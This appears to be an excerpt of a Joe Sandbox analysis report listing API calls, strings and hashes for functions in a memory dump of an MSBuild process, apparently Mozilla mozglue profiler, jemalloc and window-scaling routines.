GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C56566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C56567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C565696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5656B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5656CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5656E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5656FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C565716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C56572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C565748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C565761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C56577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C565793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5657A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5657BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5657D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5657EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5657FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C56562D
MonitorFromWindow, xrefs: 6C56578D
user32, xrefs: 6C565601
GetSystemMetricsForDpi, xrefs: 6C565677
ReleaseDC, xrefs: 6C565742
GetMonitorInfoW, xrefs: 6C5657A2
FillRect, xrefs: 6C565729
ShowWindow, xrefs: 6C5656DE
StretchDIBits, xrefs: 6C5657CC
GetWindowDC, xrefs: 6C565710
GetDpiForWindow, xrefs: 6C565690
EnableNonClientDpiScaling, xrefs: 6C565666
SetWindowPos, xrefs: 6C5656F7
LoadIconW, xrefs: 6C56575B
SetWindowLongPtrW, xrefs: 6C5657B7
CreateWindowExW, xrefs: 6C5656C5
RegisterClassW, xrefs: 6C5656AC
AreDpiAwarenessContextsEqual, xrefs: 6C565637
gdi32, xrefs: 6C56560A
LoadCursorW, xrefs: 6C565774
DeleteObject, xrefs: 6C5657F9
CreateSolidBrush, xrefs: 6C5657E4

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction ID: af76bb25cb525de9e8170bf69e87db3ad1547d96c4eacc8bf6cd23fa3078c645
Opcode Fuzzy Hash: 00de639ef01af16e70bb5cc8256a2ae75c894e7ba26a01aa61417d21ef29a3ae
Instruction Fuzzy Hash: A95122707537239FEB10AF368D449263AFCAB0B2457626525E961E2E63EB74C800CF74

Function 6C54CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C51582D), ref: 6C54CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C51582D), ref: 6C54CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C57FE98,?,?,?,?,?,6C51582D), ref: 6C54CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C51582D), ref: 6C54CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C54CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C54CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C54CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C54CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C54CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C54CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C54CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C54CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C54CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C54CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C54CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C54CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C54CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C54CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C54CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C54CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C54CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C54CE8A

Strings

notimerresolutionchange, xrefs: 6C54CE00
default, xrefs: 6C54CC21
nativeallocations, xrefs: 6C54CDA8
Unrecognized feature "%s"., xrefs: 6C54CEA0
preferencereads, xrefs: 6C54CD92
jsallocations, xrefs: 6C54CD0E
markersallthreads, xrefs: 6C54CE42
fileioall, xrefs: 6C54CCA8
seqstyle, xrefs: 6C54CCE6
leaf, xrefs: 6C54CC66
power, xrefs: 6C54CE84
cpuallthreads, xrefs: 6C54CE16
stackwalk, xrefs: 6C54CCF8
processcpu, xrefs: 6C54CE6E
fileio, xrefs: 6C54CC92
screenshots, xrefs: 6C54CCD4
ipcmessages, xrefs: 6C54CDBE
samplingallthreads, xrefs: 6C54CE2C
unregisteredthreads, xrefs: 6C54CE58
audiocallbacktracing, xrefs: 6C54CDD4
mainthreadio, xrefs: 6C54CC7C
nostacksampling, xrefs: 6C54CD7C
java, xrefs: 6C54CC37
noiostacks, xrefs: 6C54CCBE

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction ID: 7d0698f7981bc5a3fe0a979726ef6ad84ff229092ec1881a2aa596511873e9f2
Opcode Fuzzy Hash: 471a9afacc57e543fb907dbd7f209546627d0f73b09a203257f717ccf775c574
Instruction Fuzzy Hash: 1E51B8F1A0626562FA1571196D10BAA1408EFD334AF10C43AED0BA1F80FF05FA9D87B7

Function 6C5147C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C514801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C514817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C51482D
__Init_thread_footer.LIBCMT ref: 6C51484A

Part of subcall function 6C53AB3F: EnterCriticalSection.KERNEL32(6C58E370,?,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284), ref: 6C53AB49
Part of subcall function 6C53AB3F: LeaveCriticalSection.KERNEL32(6C58E370,?,6C503527,6C58F6CC,?,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53AB7C

GetCurrentThreadId.KERNEL32 ref: 6C51485F
GetCurrentThreadId.KERNEL32 ref: 6C51487E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51488B
free.MOZGLUE(?), ref: 6C51493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C514956
free.MOZGLUE(00000000), ref: 6C514960
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51499A

Part of subcall function 6C53AB89: EnterCriticalSection.KERNEL32(6C58E370,?,?,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284), ref: 6C53AB94
Part of subcall function 6C53AB89: LeaveCriticalSection.KERNEL32(6C58E370,?,6C5034DE,6C58F6CC,?,?,?,?,?,?,?,6C503284,?,?,6C5256F6), ref: 6C53ABD1

free.MOZGLUE(?), ref: 6C5149C6
free.MOZGLUE(?), ref: 6C5149E9

Part of subcall function 6C525E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C525EDB
Part of subcall function 6C525E90: memset.VCRUNTIME140(ewVl,000000E5,?), ref: 6C525F27
Part of subcall function 6C525E90: LeaveCriticalSection.KERNEL32(?), ref: 6C525FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C514A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C514812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C514828
[I %d/%d] profiler_shutdown, xrefs: 6C514A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5147FC

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction ID: 3ed46fbe3e4ff9482cbd1af091959baffd53d5cf34ebe989acd050904e33d9bb
Opcode Fuzzy Hash: b24e3bb1561677ee7ec98e2a9010a145c133aee83954bc8ac66ccb77e66bb791
Instruction Fuzzy Hash: A0811471A0A120CBEB00DF28CC9875A33B5EF4731CF162629D91697F81E731E854CB9A

Function 6C514470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C514730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
Part of subcall function 6C514730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5144BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5144D2
InitOnceExecuteOnce.KERNEL32(6C58F80C,6C50F240,?,?), ref: 6C51451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C51455C
LoadLibraryW.KERNEL32(?), ref: 6C514592
InitializeCriticalSection.KERNEL32(6C58F770), ref: 6C5145A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5145AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5145BB
InitOnceExecuteOnce.KERNEL32(6C58F818,6C50F240,?,?), ref: 6C514612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C514636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C514644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C51466D
VerSetConditionMask.NTDLL ref: 6C51469F
VerSetConditionMask.NTDLL ref: 6C5146AB
VerSetConditionMask.NTDLL ref: 6C5146B2
VerSetConditionMask.NTDLL ref: 6C5146B9
VerSetConditionMask.NTDLL ref: 6C5146C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5146CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5146F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5146FD

Strings

user32.dll, xrefs: 6C514557, 6C51463F
GXl, xrefs: 6C5144FC
kernel32.dll, xrefs: 6C5144CD
WRusr.dll, xrefs: 6C5144B5
NativeNtBlockSet_Write, xrefs: 6C5146F7
l, xrefs: 6C514578

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: GXl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1836226811
Opcode ID: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction ID: 71148b4c2371ef85996f8a81a6ce083c86270d276d650793c8faab4f3cb4ff3c
Opcode Fuzzy Hash: 6fdb00b94e842d1de4473c7eb576d011c3158d12e4d808c2b5a8e6f7886422bd
Instruction Fuzzy Hash: 7B6119B0606364AFFF00AF60CC09B9977F8EB4B30CF15A659E9049BA41D7B09985CF64

Function 6C54F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C54F8F9

Part of subcall function 6C516390: GetCurrentThreadId.KERNEL32 ref: 6C5163D0
Part of subcall function 6C516390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5163DF
Part of subcall function 6C516390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C51640E

ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F93A
GetCurrentThreadId.KERNEL32 ref: 6C54F98A
GetCurrentThreadId.KERNEL32 ref: 6C54F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F716

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

Part of subcall function 6C50B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C50B5E0

GetCurrentThreadId.KERNEL32 ref: 6C54F739
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54F746
GetCurrentThreadId.KERNEL32 ref: 6C54F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C58385B,00000002,?,?,?,?,?), ref: 6C54F829
free.MOZGLUE(?,?,00000000,?), ref: 6C54F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C54F866
free.MOZGLUE(?), ref: 6C54FA0C

Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5155E1), ref: 6C515E8C
Part of subcall function 6C515E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515E9D
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EAB
Part of subcall function 6C515E60: GetCurrentThreadId.KERNEL32 ref: 6C515EB8
Part of subcall function 6C515E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C515ECF
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C515F27
Part of subcall function 6C515E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C515F47
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F53
Part of subcall function 6C515E60: GetCurrentThread.KERNEL32 ref: 6C515F5C
Part of subcall function 6C515E60: GetCurrentProcess.KERNEL32 ref: 6C515F66
Part of subcall function 6C515E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C515F7E

free.MOZGLUE(?), ref: 6C54F9C5
free.MOZGLUE(?), ref: 6C54F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C54F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C54F71F
Thread , xrefs: 6C54F789
" attempted to re-register as ", xrefs: 6C54F858

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction ID: 671da3f96f6f6045d9d0adfb6217e8931d3f3b45e287e62d80d92b5682637a66
Opcode Fuzzy Hash: 795fc8ddf40f43489c61d6a1d167fc9af99ef706c3d4834dffd4d2568133d7ea
Instruction Fuzzy Hash: E481E571A05610DFDB10DF28CC80AAAB7F5EFC5308F55865DE8459BB51EB309C49CBA2

Function 6C54EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C514A68), ref: 6C54945E
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C549470
Part of subcall function 6C549420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C549482
Part of subcall function 6C549420: __Init_thread_footer.LIBCMT ref: 6C54949F

GetCurrentThreadId.KERNEL32 ref: 6C54EE60
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE6D
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C54EEA5
CloseHandle.KERNEL32(?), ref: 6C54EEB4
free.MOZGLUE(00000000), ref: 6C54EEBB
GetCurrentThreadId.KERNEL32 ref: 6C54EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54EECF

Part of subcall function 6C54DE60: GetCurrentThreadId.KERNEL32 ref: 6C54DE73
Part of subcall function 6C54DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C514A68), ref: 6C54DE7B
Part of subcall function 6C54DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C514A68), ref: 6C54DEB8
Part of subcall function 6C54DE60: free.MOZGLUE(00000000,?,6C514A68), ref: 6C54DEFE
Part of subcall function 6C54DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C54DF38

Part of subcall function 6C53CBE8: GetCurrentProcess.KERNEL32(?,6C5031A7), ref: 6C53CBF1
Part of subcall function 6C53CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5031A7), ref: 6C53CBFA

GetCurrentThreadId.KERNEL32 ref: 6C54EF1E
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF2B
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EF59
GetCurrentThreadId.KERNEL32 ref: 6C54EFB0
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFBD
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C54EFE1
GetCurrentThreadId.KERNEL32 ref: 6C54EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54F000

Part of subcall function 6C5494D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5494EE
Part of subcall function 6C5494D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C549508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C54F02F

Part of subcall function 6C54F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C54F09B
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C54F0AC
Part of subcall function 6C54F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C54F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C54EED7
[I %d/%d] profiler_pause, xrefs: 6C54F008

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction ID: c401ae45f3956c2adb6be96b3658734b4cd902ef23d9f8fe514bcb258aee496d
Opcode Fuzzy Hash: a267443000d0db23af76d5c13ebdf8ada26583484e5458b2c95f037c6160fca3
Instruction Fuzzy Hash: D6511A35603230EFDB00BB64DC09BA577B8EB8B358F129716E91583B91D7755808C7EA

Function 6C53D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58E804), ref: 6C53D047
GetSystemInfo.KERNEL32(?), ref: 6C53D093
__Init_thread_footer.LIBCMT ref: 6C53D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C58E810,00000040), ref: 6C53D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7B8,00001388), ref: 6C53D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E744,00001388), ref: 6C53D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E784,00001388), ref: 6C53D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C58E7DC,00001388), ref: 6C53D1B1

Strings

<jemalloc>, xrefs: 6C53D268, 6C53D311
MALLOC_OPTIONS, xrefs: 6C53D0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6C53D322
Compile-time page size does not divide the runtime one., xrefs: 6C53D26D
MOZ_CRASH(), xrefs: 6C53D277

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
